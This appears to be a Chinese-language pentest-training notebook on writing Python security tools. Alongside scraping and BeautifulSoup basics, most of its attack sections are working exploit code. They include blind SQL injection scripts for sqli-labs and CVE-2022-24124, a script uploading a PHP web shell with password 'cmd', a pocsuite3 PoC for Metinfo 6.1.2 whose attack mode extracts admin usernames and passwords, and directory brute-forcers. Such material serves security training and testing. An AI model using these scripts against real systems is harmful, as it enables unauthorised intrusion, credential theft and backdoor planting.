python工具编写
requests模块
- requests是使用Apache2 licensed许可证的HTTP库。比Urllib2模块更简洁
- Request 支持HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码
基本使用
pip install requests
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
url = 'http://www.baidu.com'
proxy = {'http':'127.0.0.1:8080'}
req = requests.get(url=url,headers=header,proxies=proxy)
req.encoding=req.apparent_encoding #解决中文乱码
print(req.text)
爬取图站图片
示例模板
import requests
import re
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
url = 'https://xxx.com/'
def get_imgurl(url):
imgtext = requests.get(url=url,headers=headers).text
#print(imgtext)
imgurls = re.findall(r'<img width="300" height="300" src="(.*?)" class="attachment-thumbnail size-thumbnail wp-post-image"',imgtext)
#print(imgurls)
return imgurls
def get_imgcontent(url):
resp = requests.get(url=url)
imgcontent = resp.content
return imgcontent
def main():
imgurls = get_imgurl(url)
i=1
for imgurl in imgurls:
print(imgurl)
imgcontent = get_imgcontent(imgurl)
#print(imgcontent)
imgname=str(i)
with open('img/'+imgname+'.jpg','wb') as f:
f.write(imgcontent)
print(imgname+'下载成功!!!')
i+=1
if __name__ == '__main__':
main()
针对需要登录的网站进行爬取
示例模板
# -*- coding: UTF-8 -*-
import requests
import re
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
url = 'http://192.168.1.1/index.php/Study/studydetail?taskid=1787'
cookie = {
"ci_session_user_center":"pab2nl88q98nt218v1ctukdvckribhdl",
"px_session":"c6eccc94c4737cc3675330d1490dc288a6003830"
}
session = requests.session()
def main():
text = session.get(url=url,headers=headers,cookies=cookie).text
#print(text)
webtitle = re.findall(r'<div class="courseName" title="(.*?)">',text)
webtitle = ''.join(webtitle)
#print(''.join(webtitle)+'\n')
webtext = re.findall(r'<p class="curseIntMsg">(.*?)</p>.*<div>',text,re.S)
webtext = ''.join(webtext)
#print(''.join(webtext))
with open('web.txt','a+') as f:
f.write(webtitle+'\n\n')
f.write(webtext)
print('web.txt 获取成功!!!')
if __name__ == '__main__':
main()
布尔盲注脚本
该脚本针对于sqli-libs8
import requests
url = 'http://192.168.20.146/sqlilab/Less-8/?id=1'
def flag(getpayload):
flag = ""
for a in range(1,200):
for b in range(32,126):
#print(url+payload)
payload = getpayload.format(a,b)
#print(url+payload)
res = requests.get(url=url+payload)
res = res.text
if 'You are in...........' in res:
flag +=chr(b)
#payload=payload+i
print(flag)
break
if b == 125:
return
if __name__ == "__main__":
db = "%27%20and%20if(ascii(mid((database()),{0},1))={1},1,0)%23"
table = "%27%20and%20if(ascii(mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where+\
%20table_schema=database()),{0},1))={1},1,0)%23"
column = "%27%20and%20if(ascii(mid((select%20group_concat(column_name)%20from%20information_schema.columns%20where+\
%20table_schema=database()),{0},1))={1},1,0)%23"
dump = "%27%20and%20if(ascii(mid((select%20group_concat(username,%27%3a%27,password)%20from%20users),{0},1))={1},1,0)%23"
flag(dump)
示例二
import requests
import string
payload = "%26%26if((ascii(right(left((seLect/**/flag/**/fRom/**/flag),{0}),1))={1}),1,0)"
flag = ""
url = 'http://172.16.12.2/get6.php?id=1'
for a in range(0,26):
for b in range(45,125):
payload = "%26%26if((ascii(right(left((seLect/**/flag/**/fRom/**/flag),{0}),1))={1}),1,0)".format(a,b)
x = requests.get(url=url+payload)
res = x.text
if 'Dumb' in res:
flag +=chr(b)
print(flag)
时间盲注脚本
示例一,针对于CVE-2022-24124
import requests
import string
url = 'http://hostname/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field='
def flag():
flag = ""
for a in range(1,100):
for b in range(45,126):
#print(url+payload)
payload = "if(ascii(mid((select flag from flag),{0},1))={1},sleep(2),0)".format(a,b)
#print(url+payload)
res = requests.get(url=url+payload)
#res = x.text
if res.elapsed.seconds > 1.8:
flag +=chr(b)
#payload=payload+i
print(flag)
break
if b == 125:
return
def main():
flag()
if __name__ == "__main__":
main()
示例二
import requests
import string
url = "http://192.168.20.146/sqlilab/Less-9/?id=1"
def timeout(url):
try:
requests.get(url=url,timeout=1)
except Exception as a:
return "timeout"
def main():
#print(string.printable)
flag = ''
for i in range(1,100):
for s in string.ascii_lowercase:
payload = f"%27%20and%20if(mid(database(),{i},1)='{s}',sleep(2),1)%23"
#print(payload)
if timeout(url+payload) == "timeout":
flag += s
print(flag)
break
if s == 'z':
return
if __name__ == "__main__":
main()
文件上传
示例脚本,需要根据实际进行修改
import requests
header = \
{
'Host': '172.16.12.2'
,'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0'
,'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'
,'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'
,'Accept-Encoding': 'gzip, deflate'
,'Origin': 'http://172.16.12.2'
,'Referer': 'http://172.16.12.2/'
,'Upgrade-Insecure-Requests': '1'
}
def fileupload(url,rname,fname):
files = {'file':(str(rname),open(fname,'rb'),'image/gif'),'submit':(None,'submit')}
#print(files)
proxy={"http":"http://127.0.0.1:8080"}
resp=requests.post(url,files=files,headers=header,proxies=proxy)
#print(resp.text)
curl=url.replace('upload_4.php','')+'upload/'+rname
#print(curl)
r=requests.get(curl)
if r.status_code == 200:
print('上传的后门密码为cmd,访问路径为:'+curl)
def main():
url='http://172.16.12.2/upload_4.php'
fileupload(url,'shell.php','shell.gif')
if __name__ == "__main__":
main()
files={文件上传的参数名:(上传的文件名,上传的文件内容,上传content-type值),提交表单的参数名:(None,提交按钮的值)}
Python BeautifulSoup
bs4 全名 BeautifulSoup,是编写 python 爬虫常用库之一,主要用来解析 html 标签
BeautifulSoup初始化
pip install bs4
from bs4 import BeautifulSoup
soup = BeautifulSoup("<html>A Html Text</html>", "html.parser")
soup.prettify() #格式化输出整个内容,不加()也可
两个参数:第一个参数是要解析的html文本,第二个参数是使用那种解析器,对于HTML来讲就是html.parser,这个是bs4自带的解析器
基本使用
from bs4 import BeautifulSoup
html_doc = "<html>xxx</html>"
res = BeautifulSoup(html_doc,'html.parser')
print(res.a) #获取第一个a标签的内容
print(res.a.text) #获取标签内文本
print(res.a.attrs) #获取标签内属性,以字典的形式返回
print(res.a.attrs.get('href')) #获取指定属性值
print(res.a.get('href')) #获取指定属性值
for i in res.p.children:
print(i) #获取p标签内的所有子节点
print(res.p.contents) #获取标签内部所有的元素,以数组形式返回
利用find方法
只能找符合条件的第一个 该方法的返回结果是一个标签对象
print(res.find(name='p')) #查找指定标签名的标签,默认只找符合条件的第一个
print(res.find(name='p', id='title')) #查找具有某个特定属性的标签 默认只找符合条件的第一个
print(res.find(name='p', class_='title')) #为了解决关键字冲突 会加下划线进行区分
print(res.find(name='p', attrs={'class': 'title'})) #利用attrs参数避免冲突
利用find_all方法
查找所有符合条件的标签 该方法的返回结果是一个列表
print(res.find_all('a')) #查询某一个标签,查找的结果是一个列表
利用select方法
本质利用css选择器 该方法的返回结果是一个列表
print(res.select('.title')) #查找class含有title的标签
print(res.select('.title b')) #查看class含有title标签内部所有的后代span
print(res.select('#title')) #查找id等于title的标签
编写适用于pocsuite3的POC模块
下列示例适用于针对Metinfo的盲注
编写POC(metinfo_POC.py)如下:
from pocsuite3.api import Output,register_poc,requests,POCBase
class BluecmsSqliCheck(POCBase):
vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' # 默认为1
author = 'bananaYH' # PoC作者的大名
vulDate = '2022-10-28' # 漏洞公开的时间,不知道就写今天
createDate = '2022-10-28' # 编写 PoC 的日期
updateDate = '2022-10-28' # PoC 更新的时间,默认和编写时间一样
references = [''] # 漏洞地址来源,0day不用写
name = 'Metinfo 注入漏洞 POC' # PoC 名称
appPowerLink = 'https://www.metinfo.cn/' # 漏洞厂商主页地址
appName = 'Metinfo' # 漏洞应用名称
appVersion = '6.1.2' # 漏洞影响版本
vulType = 'SQL Injection' # 漏洞类型,类型参考见 漏洞类型规范表
desc = '''
Metinfo admin/index.php文件中的id参数会带入SQL语句进入数据库执行导致SQL注入,造成数据库信息泄露
'''
# 漏洞简要描述
samples = ['http://172.16.12.2/admin/index.php'] # 测试样列,就是用 PoC 测试成功的网站
install_requires = []
# PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
def printresult(self, result): # 定义输出结果方法
output = Output(self) # 实例化Output类
if result: # 判断result传参是否有内容
output.success(result) # 利用output对象的success方法输出result结果
else:
output.fail('target is not vulerable!')
# 利用output对象的failed方法输出target is not vulerable!
return output # 返回output对象,不返回就没有输出,即验证失败
def _verify(self):
result = {}
payload = '?m=web&n=message&c=message&a=domessage&action=add&lang=cn¶137=1¶186=1¶138=1+\
¶139=1¶140=1&id=42%20and%201=2'
#定义payload
target = self.url #从POCBase类中获取url
response = requests.get(url=target+payload)
#通过pocsuite.api的requests发送请求
#print(response.text)
if '反馈已经被关闭' in response.text:
result['VerifyInfo'] = {}#定义结果输出key值 参考结果返回规范
result['VerifyInfo']['URL']= target#返回并输出target url
result['VerifyInfo']['PAYLOAD'] = payload #返回输出payload
return self.printresult(result)#调用parse_output方法输出结果
def _attack(self):
def dbname(target,pay):
name = ""
arr = "abcdefghijklmnopqrstuvwxyz0123456789-_\{\}"
for num in range(1,100):
for i in arr:
i = ord(i)
payload = pay+f',{num},1))={i}' # 定义payload
response = requests.get(url=target + payload) # 通过pocsuite.api的requests发送请求
#print(response1.text)
if '验证码错误' in response.text:
name+=chr(i)
print(name)
break
if i == 125:
return payload,name
#return self._verify()#定义attack方法,未定义实质性攻击payload直接调用验证方法
result = {}
target = self.url
payload1 = '?m=web&n=message&c=message&a=domessage&action=add&lang=cn¶137=1¶186=1¶138=1+\
¶139=1¶140=1&id=42%20and%20ascii(mid((select%20database())'
payload2 = '?m=web&n=message&c=message&a=domessage&action=add&lang=cn¶137=1¶186=1¶138=1+\
¶139=1¶140=1&id=42%20and%20ascii(mid((select%20group_concat(admin_id)%20from%20met_admin_table)'
payload3 = '?m=web&n=message&c=message&a=domessage&action=add&lang=cn¶137=1¶186=1¶138=1+\
¶139=1¶140=1&id=42%20and%20ascii(mid((select%20group_concat(admin_pass)%20from%20met_admin_table)'
payload1,redbname = dbname(target,payload1)
payload2,username = dbname(target,payload2)
payload3,password = dbname(target,payload3)
result['VerifyInfo'] = {} # 定义结果输出key值 参考结果返回规范
result['VerifyInfo']['URL'] = target
result['VerifyInfo']['PAYLOAD1'] = payload1
result['VerifyInfo']['DBNAME'] = redbname
result['AdminInfo'] = {}
result['AdminInfo']['PAYLOAD2'] = payload2
result['AdminInfo']['USERNAME'] = username
result['AdminInfo']['PAYLOAD3'] = payload3
result['AdminInfo']['PASSWORD'] = password
return self.printresult(result) # 调用parse_output方法输出结果
register_poc(BluecmsSqliCheck)
#调用register_poc方法注册BluecmsSqliCheck
运行脚本
pocsuite -r metinfo_POC.py -u http://172.16.12.2/admin/index.php --attack
目录爆破工具编写
单线程
import sys
import requests
proxy = {'http':'http://127.0.0.1:8080'}
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36'}
def dirbrute(url,fname):
with open(fname, 'r') as f:
dicts = f.readlines()
for dirdict in dicts:
#print(dirdict)
resp = requests.get(url+dirdict.strip('\n'),headers = header,timeout=5)
#print(resp.text)
if resp.status_code != 404:
print(resp.status_code,resp.url)
def printbanner():
print(' _ _ _ _ ')
print(' __| (_)_ __| |__ _ __ _ _| |_ ___ ')
print(" / _` | | '__| '_ \| '__| | | | __/ _ \\")
print('| (_| | | | | |_) | | | |_| | || __/')
print(' \__,_|_|_| |_.__/|_| \__,_|\__\___|')
print(' ')
print('Author:IChunQiu')
if __name__ == "__main__":
printbanner()
if len(sys.argv) == 3:
url = sys.argv[1]
txt = sys.argv[2]
#print(url)
#print(txt)
else:
print('UseTips:python dirbrute.py http://127.0.0.1/ dict.txt')
dirbrute(url,txt)
多线程
import threading
import queue
import time
import requests
import sys
"""
1.编写主线程运行内容
接收参数,打开文件并添加到队列,创建子线程,运行子线程
2.定义子线程运行内容
从队列取出字典拼接url发送get请求
判断请求相应状态码为非404,打印输出状态码|url
"""
proxy = {'http':'http://127.0.0.1:8080'}
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36'}
q = queue.Queue() #从queue模块中实例话q对象
def banner():
print(' _ _ _ _ ')
print(' __| (_)_ __| |__ _ _ ___| |_ ___ _ __ ')
print(' / _` | | \'__| \'_ \| | | / __| __/ _ \ \'__\|')
print('| (_| | | | | |_) | |_| \__ \ || __/ | ')
print(' \__,_|_|_| |_.__/ \__,_|___/\__\___|_| ')
print(' ')
def dirffuzz(url):
while not q.empty():
fuzzdict = q.get().strip('\n')
resp = requests.get(url+fuzzdict,headers=header,proxies=proxy,timeout=5)
if resp.status_code != 404:
print(resp.status_code,'|',resp.url)
if __name__ == "__main__":
start_time = time.time()#线程启动时间
if len(sys.argv)<4:
banner()
print('ToolsUseTips:python dirbuster.py http://127.0.0.1/ fuzz.txt 20')
sys.exit()#如果参数少于4,就输出以上使用帮助,并退出脚本执行
banner()
url = sys.argv[1]
fuzz = sys.argv[2]
threadnum = sys.argv[3]
print(url,fuzz,threadnum)
for dir in open(fuzz):#通过open打开传入的文件,通过for循环将每行内容放入队列
q.put(dir)
for i in range(int(threadnum)):#通过for循环创建多个子线程
t = threading.Thread(target=dirffuzz,args=(url,))#实例化线程对象,指定子线程运行的函数和传参
t.start()#运行子线程
#t.join()